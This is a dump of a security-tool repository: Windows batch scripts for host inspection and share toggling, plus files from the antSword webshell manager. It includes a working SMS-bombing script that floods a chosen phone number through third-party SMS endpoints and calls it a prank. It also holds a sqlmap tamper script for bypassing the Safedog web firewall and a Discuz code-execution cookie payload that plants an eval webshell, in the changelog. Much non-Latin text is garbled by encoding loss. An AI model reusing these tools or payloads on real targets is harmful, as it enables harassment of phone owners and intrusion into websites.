    "content": "﻿@echo off\n\necho        \"Windows???????? v0.1\"\necho  \t\t\"??:ym\"\n\nif exist d:\\????\\ (\n\n   echo \n\n) else (\n\nmd d:\\????\\\n\n)\n\nif not exist d:\\????\\ md d:\\????\\\n\n\t\t\t\t\t\n\necho \"??????\"\n\nsysteminfo >d:\\????\\????.log\n\necho \"??????\"\n\nnetstat -anb >d:\\????\\????.log\n\necho \"????\"\n\ntasklist&net start >d:\\????\\????.log\n\necho \"??????\"\n\nwmic process get name,executablepath,processid >d:\\????\\??????.log\n\necho \"??????\"\n\nnet share >d:\\????\\??????.log\n\necho \"??????\"\n\nnet user & net localgroup administrators >d:\\????\\??????.log\n\necho \"??????\"\n\necho HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names [1 2 19]>d:\\regg.ini&echo HKEY_LOCAL_MACHINE\\SAM\\SAM\\ [1 2 19] >>d:\\regg.ini & regini d:\\regg.ini&reg query HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names >d:\\????\\??????.log&del d:\\regg.ini\n\necho \"????????\"\n\nreg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run & reg query HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run >d:\\????\\????????.log\n\necho \"??????\"\n\nsecedit /export /cfg LocalGroupPolicy&type LocalGroupPolicy >d:\\????\\??????.log\n\necho \"IE???????\"\n\nreg query HKEY_CURRENT_USER\\Software\\Microsoft\\Internet\" \"Explorer\\TypedURLs >d:\\????\\IE???????.log\n\necho \"???????\"\n\nreg query HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL /s /v DisPlayname >d:\\????\\???????.log\n\necho \"??????\"\n\nreg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\" \"NT\\CurrentVersion\\SvcHost /s /v netsvcs&reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\" \"NT\\CurrentVersion\\SvcHost /s /v LocalService >d:\\????\\??????.log\n\necho \"????\"\n\nnetstat -a >d:\\????\\????.log\n\necho \"CMD??\"\n\nreg query HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU >d:\\????\\CMD??.log\n\necho \"??????\"\n\nreg query HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\TypedPaths >d:\\????\\??????.log\n\necho \"??????2\"\n\nreg query HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\OpenSaveMRU\\* /v * >d:\\????\\??????2.log\n\necho \"????\"\n\nreg query HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\LastVisitedMRU >d:\\????\\????.log\n\necho \"????\"\n\nreg query HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\LastVisitedMRU >d:\\????\\????.log\n\necho \"C???????\"\n\necho \"????????????1,?????????0,?????2?,??????????\"\n\necho \"???????!\"\n\nset /p var=find /c /i \"this program\" c:\\*  c:\\Inetpub\\*  C:\\Users\\Administrator\\Desktop\\* c:\\temp\\* >d:\\????\\??????.log\n\n%var%\n\nif %ERRORLEVEL% == 0 goto yes\n\ngoto no\n\n:yes\n\nexit\n\n:no\n\nfind /c /i \"this program\" c:\\*  c:\\wmpub\\* c:\\Inetpub\\* C:\\Documents and Settings\\Administrator\\??\\* >d:\\????\\??????.log\necho \"*****************ym***********************************\""
  },
  {
    "path": "Windows_scripts/check_honeyport_status.bat",
    "content": "@echo off\r\nREM author：kym\r\nREM date: 2021-07-15\r\nREM purpose：check the honeyport ports status\r\ntitle Honeyport running  status.\r\necho The work runs for checking honeyport ports status\r\necho Please wait................\r\ncall:server_port\r\ncall:pro-02_port\r\ncall:pro-01_port\r\ncall:dev-01_port\r\necho ...............................\r\necho Please check your alter emails.\r\necho End............................\r\npause\r\nexit /b 0\r\n\r\n:server_port\r\nset serverip=10.10.7.8\r\nset serverport=135\r\nstart telnet.exe %serverip% %serverport%\r\n\r\ntasklist|findstr /i \"telnet.exe\"\r\nif ERRORLEVEL 1 (goto close) else (goto open)\r\n\r\n\r\n:open\r\ntaskkill /F -IM \"telnet.exe\" \r\necho %serverip% %serverport% is open %Date:~0,4%-%Date:~5,2%-%Date:~8,2% %Time:~0,2%:%Time:~3,2%\r\nGOTO:EOF\r\n\r\n:close\r\necho %serverip% %serverport% is closed or unable to connect.%Date:~0,4%-%Date:~5,2%-%Date:~8,2% %Time:~0,2%:%Time:~3,2%\r\nGOTO:EOF\r\n\r\n\r\n:pro-02_port\r\nset pro-02-ip=10.0.6.227\r\nset pro-02-port=135\r\nstart telnet.exe %pro-02-ip% %pro-02-port%\r\n\r\ntasklist|findstr /i \"telnet.exe\"\r\nif ERRORLEVEL 1 (goto close) else (goto open)\r\n\r\n:open\r\ntaskkill /F -IM \"telnet.exe\" \r\necho %pro-02-ip% %pro-02-port% is open %Date:~0,4%-%Date:~5,2%-%Date:~8,2% %Time:~0,2%:%Time:~3,2%\r\nGOTO:EOF\r\n\r\n:close\r\necho %pro-02-ip% %pro-02-port% is closed or unable to connect.%Date:~0,4%-%Date:~5,2%-%Date:~8,2% %Time:~0,2%:%Time:~3,2%\r\nGOTO:EOF\r\n\r\n\r\n:pro-01_port \r\nset pro-01-ip=10.1.21.237\r\nset pro-01-port=135\r\n\r\nstart telnet.exe %pro-01-ip% %pro-01-port%\r\ntasklist|findstr /i \"telnet.exe\"\r\nif ERRORLEVEL 1 (goto close) else (goto open)\r\n\r\n:open\r\ntaskkill /F -IM \"telnet.exe\" \r\necho %pro-01-ip% %pro-01-port% is open %Date:~0,4%-%Date:~5,2%-%Date:~8,2% %Time:~0,2%:%Time:~3,2%\r\nGOTO:EOF\r\n\r\n:close\r\necho %pro-01-ip% %pro-01-port% is closed or unable to connect.%Date:~0,4%-%Date:~5,2%-%Date:~8,2% %Time:~0,2%:%Time:~3,2%\r\nGOTO:EOF\r\n\r\n:dev-01_port \r\nset dev-01-ip=10.10.0.45\r\nset dev-01-port=135\r\nstart telnet.exe %dev-01-ip% %dev-01-port%\r\ntasklist|findstr /i \"telnet.exe\"\r\nif ERRORLEVEL 1 (goto close) else (goto open)\r\n\r\n:open\r\ntaskkill /F -IM \"telnet.exe\" \r\necho %dev-01-ip% %dev-01-port% is open %Date:~0,4%-%Date:~5,2%-%Date:~8,2% %Time:~0,2%:%Time:~3,2%\r\nGOTO:EOF\r\n\r\n:close\r\necho %dev-01-ip% %dev-01-port% is closed or unable to connect.%Date:~0,4%-%Date:~5,2%-%Date:~8,2% %Time:~0,2%:%Time:~3,2%\r\nGOTO:EOF\r\n\r\n"
  },
  {
    "path": "Windows_scripts/init.bat",
    "content": ":: Init Script for cmd.exe\n:: Created as part of appie project\n\n:: Find root dir\n@if not defined appie_ROOT (\n    for /f %%i in (\"%ConEmuDir%\\..\\..\") do @set appie_ROOT=%%~fi\n)\n\n:: Change the prompt style\n@prompt $E[1;32;40m$P$S{git}$S$_$E[1;30;40m{lamb}$S$E[0m\n\n:: Pick right version of clink\n@if \"%PROCESSOR_ARCHITECTURE%\"==\"x86\" (\n    set architecture=86\n) else (\n    set architecture=64\n)\n\n:: Run clink\n@\"%appie_ROOT%\\base\\clink\\clink_x%architecture%.exe\" inject --quiet --profile \"%appie_ROOT%\\config\"\n\n:: Prepare for git-for-windows\n\n:: I do not even know, copypasted from their .bat\n@set PLINK_PROTOCOL=ssh\n@if not defined TERM set TERM=cygwin\n\n:: Enhance Path\n@set git_install_root=%appie_ROOT%\\base\\git-for-windows\n@set PATH=%appie_ROOT%\\bin;%git_install_root%\\bin;%git_install_root%\\usr\\bin;%PATH%;%appie_ROOT%\\bin\\adt\\sdk\\platform-tools;%git_install_root%\\mingw32\\bin;%git_install_root%\\cmd;%git_install_root%\\share\\vim\\vim74;%appie_ROOT%\\bin\\adt\\eclipse;%appie_ROOT%\\base\\python;%appie_ROOT%\\bin\\adt\\eclipse\\jre\\bin;%appie_ROOT%\\bin\\adt\\eclipse\\jre\\lib;%appie_ROOT%\\bin\\adt\\eclipse\\bin;%appie_ROOT%\\bin\\adt\\sdk\\tools;%appie_ROOT%\\bin\\Wireshark;%appie_ROOT%\\bin\\tools-repo\\dex2jar\n::@set PYTHONPATH=%appie_ROOT%\\base\\python\\Lib\\site-packages\n:: Add aliases\n@doskey /macrofile=\"%appie_ROOT%\\config\\aliases\"\n\n:: Set home path\n@if not defined HOME set HOME=%USERPROFILE%\n\n@if defined appie_START (\n    @cd /d \"%appie_START%\"\n) else (\n    @if \"%CD%\\\" == \"%appie_ROOT%\" (\n        @cd /d \"%HOME%\"\n    )\n)\n"
  },
  {
    "path": "Windows_scripts/ipreverse.py",
    "content": "#!/usr/bin/python\n#-*- coding:utf-8 -*-\n########################################################################################################\n#ipreverse.py - v0.0.1 20160402\n########################################################################################################\n#this is a simply methods to produce ip list with python \n#maybe I would add more functions into in it \n########################################################################################################\n### \n########################################################################################################\n#python ipreverse.py >> ips2.txt \nprint \"\"\"\nthis script wouldn products a series of ip depending on your choices \npress ' Ctrl + C ' to stop the process\n如果想把 结果输出到文件中，可以使用如下命令：\npython ipreverse.py >> ips.txt \n\"\"\"\n#############################################################################\nimport sys\n#origin = sys.stdout\n#ips = open('ips.txt','w+')\n#sys.stdout = ips\n\n\nfor a in range (0,255):\n     for b in range (0,255):\n\t\tfor c in range (0,255):\n\t\t\tfor d in range (0,255):\n\t\t\t\tprint str(a) +\".\" + str(b) + \".\" + str(c) + \".\" + str(d)\n\n#sys.stdout = origin\n#ips.close()\n\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "Windows_scripts/networking.txt",
    "content": "# this file ia a backup file about how to browser over the GFW in china \n# with this plugin in chrome, we can enjoy the fun of Internet in foreign countries.\n# since usge is inside the plugin, we do not repeatedly write the introduce to usage here\n# in the plugin, you can see a clear usage with picture step by step, just do it one by one \n# finally, you are enable to go tho Google and outside sites.\n# have a good day \n"
  },
  {
    "path": "Windows_scripts/ping_check_network.bat",
    "content": "echo off\ncolor a\ncls\nset ip=www.baidu.com\nset qt=0\nset ok=0\nset of=0\nset zj=0\nset aa=0\necho off\ncolor a\n:a\ncls\ntitle  ӳɹ%ok%   ʧܣ%of%   %zj%   δ֪%qt%\necho/\necho/  ɹʧܡδ֪,ۼ200ϻԶرգܼ500ϻԶرգ\necho/\necho/\necho/      ӳɹ%ok%\necho/\necho/      ʧܣ%of%\necho/\necho/      %zj%\necho/\necho/      δ֪%qt%\necho/\necho/\necho/                 ܼƣ%aa%\necho/\necho/\necho/\necho/   -ؿͻ-------^> %ip% ^<-------ָ----С-----\necho/                                       \nif %ok% gtr 200 exit\nif %of% gtr 200 exit\nif %zj% gtr 200 exit\nif %qt% gtr 200 exit\nset/a aa+=1\nping %ip% -n 1 >nul\nif %errorlevel% equ 1 (set/a of+=1 &goto a)\nif %errorlevel% equ 0 (set/a ok+=1 &goto a)\nif %errorlevel% lss 0 (set/a zj+=1 &goto a)\nset/a qt+=1\ngoto a\n"
  },
  {
    "path": "Windows_scripts/safedog.py",
    "content": "﻿#!/usr/bin/env python\n\"\"\"\nCopyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)\nSee the file 'doc/COPYING' for copying permission\nv 0.0.1 \n2016.08.21\n\"\"\"\nfrom lib.core.enums import PRIORITY\n__priority__ = PRIORITY.LOW\n\ndef dependencies():\n    pass\n\t\ndef tamper(payload, **kwargs):\n    \"\"\"\n\tTo bypass safedog \n    Replaces space character (' ') with plus ('/*|%20--%20|*/')\n    >>> tamper('SELECT id FROM users')\n    'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'\n    \"\"\"\n    retVal = payload\n    if payload:\n        retVal = \"\"\n        quote, doublequote, firstspace = False, False, False\n        for i in xrange(len(payload)):\n            if not firstspace:\n                if payload[i].isspace():\n                    firstspace = True\n                    retVal += \"/*|%20--%20|*/\"\n                    continue\n            elif payload[i] == '\\'':\n                quote = not quote\n            elif payload[i] == '\"':\n                doublequote = not doublequote\n            elif payload[i] == \" \" and not doublequote and not quote:\n                retVal += \"/*|%20--%20|*/\"\n                continue\n            retVal += payload[i]\n    return retVal\n"
  },
  {
    "path": "Windows_scripts/smsbomb.py",
    "content": "﻿#!/usr/bin/python\n#-*- coding: utf-8 -*-\n#python3.5\n#=====================================================================================================\n#smsbomb.py\n#author: \t    ym2011\n#version:\t    0.1\n#create:\t\t2016-08-04\n#=====================================================================================================\n#the short message bomb, a ticky joke for someone you fool \n#the source code is honghu.py and operate.py \n#=====================================================================================================\ntry:\n\timport sys\n\timport os\n\timport ssl\n\timport urllib\n\timport urllib2\n\timport httplib\n\timport re\n\timport string\n\tfrom http import cookies\nexcept ValueError:\n\tprint (\"\"\"\"\n运行出错:\n\n  以下的python 库尚未安装：\n\n  该应用程序需要的库：sys、 os、urllib、urllib2、httplib、re、string cookielib\n  请检查这些依赖库是否安装在您的操作系统上\n\n  提示：安装这些库的格式为：\n\n  apt-get install 库名字\n\n  例如: apt-get install httplib2\n\n  或者使用以下方式：\n\n  easy_install httplib2\n\"\"\"\")\nsys.exit()\n\n\n\ndef oupeng(phone: object) -> object:\n\tdatas=\"\"\n\turl='http://www.oupeng.com/sms/sendsms.php?os=s60&mobile=%s' % phone\n\ti_headers = {\"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5\",\n\t\t\t\t  \"Accept\": \"text/plain\",'Referer':'http://www.oupeng.com/download'}\n\t#payload=urllib.urlencode(payload)\n   \n\ttry:\n\t\trequest=urllib2.Request(url=url,headers=i_headers)\n\t\tresponse=urllib2.urlopen(request)\n\t\tdatas=response.read()\n\t\tprint (datas)\n\t\tprint ('attack success!!!')\n\texcept Exception as e:\n\t\tprint (e)\n\tprint(\"attack failed!!!\")\n\n\ndef hongxiu(phone):\n\tdatas=\"\"\n\n\turl='http://topic.hongxiu.com/wap/action.aspx'\n\t#请求的数据\n\tpayload={'hidtpye':'1',\n\t\t'txtMobile':phone}\n\t#注意Referer不能为空\n\ti_headers = {\"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5\",\n\t\t\t\t  \"Accept\": \"text/plain\",'Referer':'http://topic.hongxiu.com/wap/'}\n\tpayload=urllib.urlencode(payload)\n   \n\ttry:\n\t\trequest=urllib2.Request(url,payload,i_headers)\n\t\tresponse=urllib2.urlopen(request)\n\t\tdatas=response.read()\n\t\tprint (datas)\n\t\tprint ('attack success!!!')\n\texcept Exception:\n\t\tprint (Exception)\n\t\tprint (\"attack failed!!!\")\n\n\n\n \nif __name__==\"__main__\":\n\tphone=raw_input('input the phone:')\n\toupeng(phone)\n\thongxiu(phone)\n\n\n\n\n\n"
  },
  {
    "path": "Windows_scripts/start_share_v1.2.bat",
    "content": ":: authour: kym \n:: time: 2017-12-14\n:: verison: 1.2\n:: aimming to start the windows default  share  files.\n:: ʹADؽͽűʱʹauthenticated users Ȩ\n@echo off\necho *********************************************************\necho ޸ϵͳ,ԵƬ!\necho *********************************************************\necho *********************************************************************** >> C:\\Users\\Public\\start_share_result.txt 2>&1\n\necho ڿ̹...\necho %date% %time% ̹£ >> C:\\Users\\Public\\start_share_result.txt 2>&1\n\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters\" /v \"AutoShareServer\" /t REG_DWORD /d \"00000001\" /f >> C:\\Users\\Public\\start_share_result.txt 2>&1\n\n\necho ڿû...\necho %date% %time% ̹£ >> C:\\Users\\Public\\start_share_result.txt 2>&1\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters\" /v \"AutoShareWks\" /t REG_DWORD  /d \"00000001\" /f >> C:\\Users\\Public\\start_share_result.txt 2>&1\n\necho %date% %time% û£ >> C:\\Users\\Public\\start_share_result.txt 2>&1\nnet share users=C:\\Users >> C:\\Users\\Public\\start_share_result.txt 2>&1\n\necho %date% %time% ӡ£ >> C:\\Users\\Public\\start_share_result.txt 2>&1\nnet share print$=C:\\Windows\\System32\\spool\\drivers >> C:\\Users\\Public\\start_share_result.txt 2>&1\n\necho *********************************************************\necho ޸ɣ!\necho *********************************************************\necho *********************************************************************** >> C:\\Users\\Public\\start_share_result.txt 2>&1\n:: del %0\npause"
  },
  {
    "path": "Windows_scripts/stop_share_v1.4.bat",
    "content": ":: authour: kym \n:: time: 2018-1-15\n:: verison: 1.4\n:: aimming to close the windows default  share  files on silence\n@echo off\n@echo *********************************************************************** >> C:\\Users\\Public\\stop_share_result.txt 2>&1\n\n:: echo *********************************************************\n:: echo ޸ϵͳ,ԵƬ!\n:: echo *********************************************************\n:: echo ڹرմ̹...\n@echo %date% %time% رմ̹£ >> C:\\Users\\Public\\stop_share_result.txt 2>&1\n@reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters\" /v \"AutoShareServer\" /t REG_DWORD /d \"00000000\" /f >> C:\\Users\\Public\\stop_share_result.txt 2>&1\n\n:: echo ڹرϵͳ...\n@echo %date% %time% رϵͳ£ >> C:\\Users\\Public\\stop_share_result.txt 2>&1\n@reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters\" /v \"AutoShareWks\" /t REG_DWORD  /d \"00000000\" /f >> C:\\Users\\Public\\stop_share_result.txt 2>&1\n\n@echo %date% %time% رû£ >> C:\\Users\\Public\\stop_share_result.txt 2>&1\n@reg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares\" /v \"Users\"  /f >> C:\\Users\\Public\\stop_share_result.txt 2>&1\n@reg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares\\Security\" /v \"Users\"  /f >> C:\\Users\\Public\\stop_share_result.txt 2>&1\n\n@echo %date% %time% رմӡ£ >> C:\\Users\\Public\\stop_share_result.txt 2>&1\n@reg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares\" /v \"print$\"  /f >> C:\\Users\\Public\\stop_share_result.txt 2>&1\n@reg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares\\Security\" /v \"print$\" /f >> C:\\Users\\Public\\stop_share_result.txt 2>&1\n\n\n:: echo *********************************************************\n:: echo ޸ɣ!\n:: echo *********************************************************\n@echo *********************************************************************** >> C:\\Users\\Public\\stop_share_result.txt 2>&1\n:: del %0\nexit"
  },
  {
    "path": "antSword/.github/ISSUE_TEMPLATE.md",
    "content": "<!--\n ãлԡйϽ֧֣Ľ뷢ֵBugǸĽϽǳá\n\n issue֮ǰҽissueбʹȷͬƵissue\n ȷƵissue֮ҪռʱشһЩ⡣\n ѡĳһ԰Ѹǰ `[ ]` ĳ `[x]`\n\n issue ģṩ˼ģ棬ЩҪissueûйϵĻύʱɾò֡\n\n Thanks!\n-->\n\n- [ ] ȷϽһ BugҲѯʹϽ\n- [ ] ȷѾϽ[ҳ](https://github.com/AntSwordProject/AntSword/releases)е**°**\n- [ ] ѾĶϽĿĵҳԹԼͨGoogleȷʽ\n- [ ] һ¹ܵĽ\n- [ ] ҲĵûҵѯʹϽ\n\n---\n\n##  Bug\n\n- [ ] ʹõĲϵͳ ***macOS*** 10+\n- [ ] ʹõĲϵͳ ***Debian/Ubuntu*** GNU/Linux\n- [ ] ʹõĲϵͳ ***Fedora*** GNU/Linux\n- [ ] ʹõĲϵͳ ***Arch*** GNU/Linux\n- [ ] ʹõĲϵͳ ***Other*** GNU/Linux\n- [ ] ʹõĲϵͳ ***Windows*** 10+\n\n---\n\n- [ ] ʹõ 32 λϵͳ\n- [ ] ʹõ 64 λϵͳ\n\n### Bug ϸ\n<!--\nϸ˵ǿٶȸ Bug\n-->\n\n---\n\n## ¹ܽ\n\n- [ ] ȷ¹ܲ[](https://github.com/AntSwordProject/AntSword/blob/master/CHANGELOG.md#)ڣҲissueб\n- [ ] ȷ¹Ϊ˷վڷǷ;\n\n### ¹\n<!--\nϸ¹ܵ\n-->\n\n---\n\n## ѯ\n\n### shell  Bug\n\n<!--\nṩЩϸϢҸ\n-->\n\n1. ˲ϵͳ\n\n2. shell\n\n<!--\nҪṩ\n-->\n\n3. ˻\n\n<!--\nṩ˵ļ php.ini\n-->\n\n4. ͻ\n\n<!--\nṩ db.ant и shell Ϣע뽫 ip ַ\n-->\n"
  },
  {
    "path": "antSword/.gitignore",
    "content": "node_modules\n.DS_*\nantData\n"
  },
  {
    "path": "antSword/CHANGELOG.md",
    "content": "# 更新日志\n> 有空会补补BUG、添添新功能。    \n> 同时也欢迎大家的参与！感谢各位朋友的支持！ .TAT.\n\n## 2018/08/25 `(v2.0.0)`\n\n### 模块增强\n\n* **新增源代码加载器**\n\n 从 **v2.0.0-beta** 版本开始，我们引入了**加载器**这一概念。\n \n 用户/开发者只需要下载对应平台的加载器，无需安装额外的环境，即可对源代码进行**编辑**、**执行**、**调试**等操作。可直接运行>=v2.0-beta版本的**开发版**和**发行版**源代码。\n \n > 有关「加载器」的具体使用方式，可直接查阅 《[AntSowd文档——获取蚁剑](https://doc.u0u.us/zh-hans/getting_started/get_antsword.html)》\n \n ![首次打开加载器](http://7xtigg.com1.z0.glb.clouddn.com/doc/getting_started/get_antsword_1.jpg)\n\n* **新增「加载插件」模块**\n\n 从 **v2.0.0-beta** 版本开始，我们引入了「插件」这一概念，用户可在不修改核心框架的情况下，通过安装不同的插件来增强、扩展蚁剑的功能。\n \n 端口扫描、Socks代理、反弹Shell、内网漏洞扫描、内网代理浏览器、内网漏洞溢出测试、后门扫描、密码爆破、打包下载、交互式终端、权限提升...\n \n **这里将没有任何拘束，可以尽情展现出你对WebShell的理解**。\n \n 安装插件后，可通过「加载插件」模块调用指定插件。插件有两种调用方式，分别为「单个调用」和「批量调用」，在加载插件后，根据具体的插件显示不同的结果。\n \n > 有关「加载插件」的使用方式，可直接查阅 《[AntSowd文档——加载插件](https://doc.u0u.us/zh-hans/plugins/load_plugin.html)》\n >\n > 如果你对编写插件有兴趣，可查阅 《[AntSowd文档——插件开发](https://doc.u0u.us/zh-hans/plugin_dev/index.html)》，学习如何编写自己的插件。\n\n **调用插件：**\n \n ![调用 phpinfo插件](http://7xtigg.com1.z0.glb.clouddn.com/doc/plugins/load_plugin_1.jpg)\n \n **端口扫描插件的调用结果：**\n ![端口扫描插件](http://7xtigg.com1.z0.glb.clouddn.com/doc/plugins/load_plugin_4.jpg)\n \n* **新增「插件市场」模块**\n\n 有了插件功能，如何获取插件呢？从 **v2.0.0-beta** 版本开始，我们引入了「插件市场」。插件作者可将自己插件提交至「插件市场」，向所有AntSword使用者分享自己的插件。\n\n > 详见《[AntSowd文档——插件市场](https://doc.u0u.us/zh-hans/plugin_store/index.html)》\n\n ![插件市场](http://7xtigg.com1.z0.glb.clouddn.com/doc/plugin_store/main_page_2.jpg)\n\n* **新增「编码管理」模块**(thx @virink)\n\n 现在可以在「系统设置 - 编码管理」下增加用户自定义的编码器了，不需要拘泥自带的 `base64` 与 `chr`。`rot13`、`base32`、`rc4`、`aes`......尽情发挥吧\n \n  ![编码管理](http://7xtigg.com1.z0.glb.clouddn.com/doc/settings/encoder_edit_1.png)\n\n* **新增「显示设置」模块**\n\n Shell数据列表显示太多，有些列就不能隐藏掉吗？完全没问题。\n\n* **新增「浏览网站」模块**\n\n 碰到需要 Cookie 或者 Basic 认证的站点还要我亲自抓包来填到请求头上去？太麻烦了，直接浏览网站后点击「保存」就能自动将结果添加到 Shell 设置里了。\n\n### 功能增强\n\n* **新增「网站备注」功能**(thx @virink)\n\n Shell 太多，容易忘记？没关系。添加备注功能来了。\n\n* **新增自定义「HTTP 头」和「请求数据」功能**\n\n 一些奇奇怪怪的 Shell 和奇奇怪怪的网站居然要在请求的时候带上额外的 HTTP 字段？没关系，添加Shell时加上相应的请求字段就好了。\n\n* **新增自定义「HTTP 请求超时」功能**\n\n 默认的 10s 超时在网速慢的时候动不动请求超时简直让人抓狂，呐，根据当前Shell的实际情况修改吧。\n\n* **新增自定义「虚拟终端执行路径」功能**\n\n 偶尔也想换个自己的命令解释程序。\n\n* **新增自定义「虚拟终端缓存」功能**\n\n 网络差的时候，将命令执行结果缓存起来（**默认关闭**）。\n\n* **新增自定义「文件管理缓存」功能**\n\n 网络差的时候，将文件管理的结果缓存起来（**默认开启**）。\n\n* **新增自定义「忽略HTTPS证书」功能**\n\n 过期证书站点请求总是因为证书问题请求失败，那就忽略证书检查吧。\n\n* **新增「随机编码器」功能**\n\n 每次请求时在当前可用编码器中随机选择一种(编码器:「嚯，哈，看我72变」)。\n\n* **优化虚拟终端，新增「命令补全」功能**\n\n 常用的命令敲的多了想吐？来试试在「虚拟终端」下按 **Tab**键自动补全吧。\n\n* **优化虚拟终端, 支持命令行粘贴**\n\n 吐槽了很久的不能粘贴命令的「虚拟终端」终于支持粘贴了。\n\n* **新增「数据库配置」编辑功能**\n\n 再也不用删掉配置新建了。\n\n* **新增「系统托盘」功能**\n\n 窗口多的时候快速隐藏/呼出蚁剑（图标什么的别跟我说丑，你找个好看的给大伙瞅瞅?）。\n\n* **新增「预览文件」功能**\n\n 双击文件自动预览 1.5MB 以内图片，大于该体积的图片可在菜单中选择「预览文件」。\n ![](http://7xtigg.com1.z0.glb.clouddn.com/doc/file_manager/previewfile.png)\n\n* **优化文件管理，文件列表快速跳行**\n\n 按下键盘，自动跳到该字母开头的第一个文件所在行。\n\n* **优化「自动更新」功能**\n\n 程序启动后1分钟自动检查更新，如果存在更新，在提示用户的同时，可直接在线更新。\n\n### 插件\n\n* **新增「端口扫描」插件**\n\n 通过 Shell 扫描内网主机开放的端口。(前面已经看过图了，就不放了)。\n\n* **新增「生成Shell」插件**\n\n 指定密码或者随机产生连接密码，然后随机生成一个 Shell 脚本。\n \n ![生成Shell](http://7xtigg.com1.z0.glb.clouddn.com/plugins/genshell/genshell.png)\n\n* **新增「复制Shell配置」插件**\n\n 团队合作管理网站必备，复制的不仅是个连接密码，还有数据库配置与 HTTP 配置。\n\n* **新增「Shell配置导入」插件**\n\n 跟楼上那个配合使用的 :)\n \n 要不你试试导入一下下面这个 Discuz 代码执行，直接连接的模版？\n \n ```\n {\"category\":\"default\",\"url\":\"http://127.0.0.1/viewthread.php?tid=13&extra=page=1\",\"pwd\":\"ant\",\"type\":\"php\",\"ip\":\"127.0.0.1\",\"addr\":\"IANA 保留地址用于本地回送\",\"encode\":\"UTF8\",\"encoder\":\"chr\",\"httpConf\":{\"body\":{},\"headers\":{\"Cookie\":\"GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui;GLOBALS[_DCACHE][smilies][replacearray]=eval(CHR(64).CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(39).CHR(97).CHR(110).CHR(116).CHR(39).CHR(93).CHR(41).CHR(59))%3B;\"}},\"otherConf\":{\"command-path\":\"\",\"ignore-https\":1,\"request-timeout\":\"5000\",\"terminal-cache\":0},\"ctime\":1489394564927,\"utime\":1533179198874,\"_id\":\"8Uhsn1z0yeUXS5iG\",\"note\":\"\"}\n ```\n\n* **新增「超级终端」插件**\n\n 虚拟终端执行命令不能交互，想要个交互式的 Shell？还想直接穿透内网？这里有个Demo了解一下？\n \n [WebShell下的交互式Shell](http://blog.evalbug.com/2018/07/25/antsword_prompt_shell/)\n \n > 该插件暂时不太稳定，鉴于有朋友想尝试一下，所以提前上了，别抱太大希望。\n\n* **新增「BugScan 插件」插件**\n\n 通过 Shell 快速创建 BugScan 节点，然后就可以对内网进行安全检测了。\n\n### 其它\n* 新增 ASP xxxxdog 编码器与对应 Shell 示例\n\n 这个编码器只能用连接专属 Shell。试着阅读一下这两个脚本，对你编写自己的编码器和专属Shell会很有帮助。\n* 新增 PHP `chr16`、`rot13` 编码器\n* 新增 JSPX Script 示例\n* 新增 ASP.Net eval Script 示例\n* 新增 ASP.Net Custom Script 示例\n* 修复 PHP Shell 读特殊文件无返回问题\n* 修复Windows存在A盘时hang住的问题\n* 新增更新 HTTP 配置 API\n* 修复插件市场删除插件失败的问题\n* 修复多窗口关闭错误问题\n* 修复一些数据错误\n* 优化清空所有缓存功能\n* 优化删除缓存功能\n* 优化删除数据功能\n* 优化编辑数据功能\n* 一些细节的调整\n* 更新 FontAwesome 库到 **v4.5.0**\n* 更新 electron API 到 **v1.2.3**\n > 这个版本号读起来顺\n\n* 移除 log4js 模块，把后端日志传递到前端输出\n\n 打开「开发者工具」，在「Console」下试着敲 `antSword[\"logs\"]` 就可查看日志啦。\n\n## 2016/05\n### /03-30\n  **进行了大范围的代码重写以及新功能增加**\n  1. 插件市场包括下载管理等设计\n  2. 插件执行包括模块化等架构\n  3. 日志输出以及其他多出细节的调整\n\n### /02\n  1. 移除`babel`依赖，采用原生ES6进行前端架构\n  2. 移除`document`以及`screenshots`目录，减少体积\n  3. 移除`log4js`模块，把后端日志输出转换到前台控制台\n\n## 2016/04\n\n### /30 `(v1.3.0)`\n  1. 重构优化部分代码，删除部分无用资源\n\n### /29\n  1. 增加php中的`mysql`数据库模板，用于不支持使用`mysqli`的服务器\n\n### /28\n  1. 修正custom shell 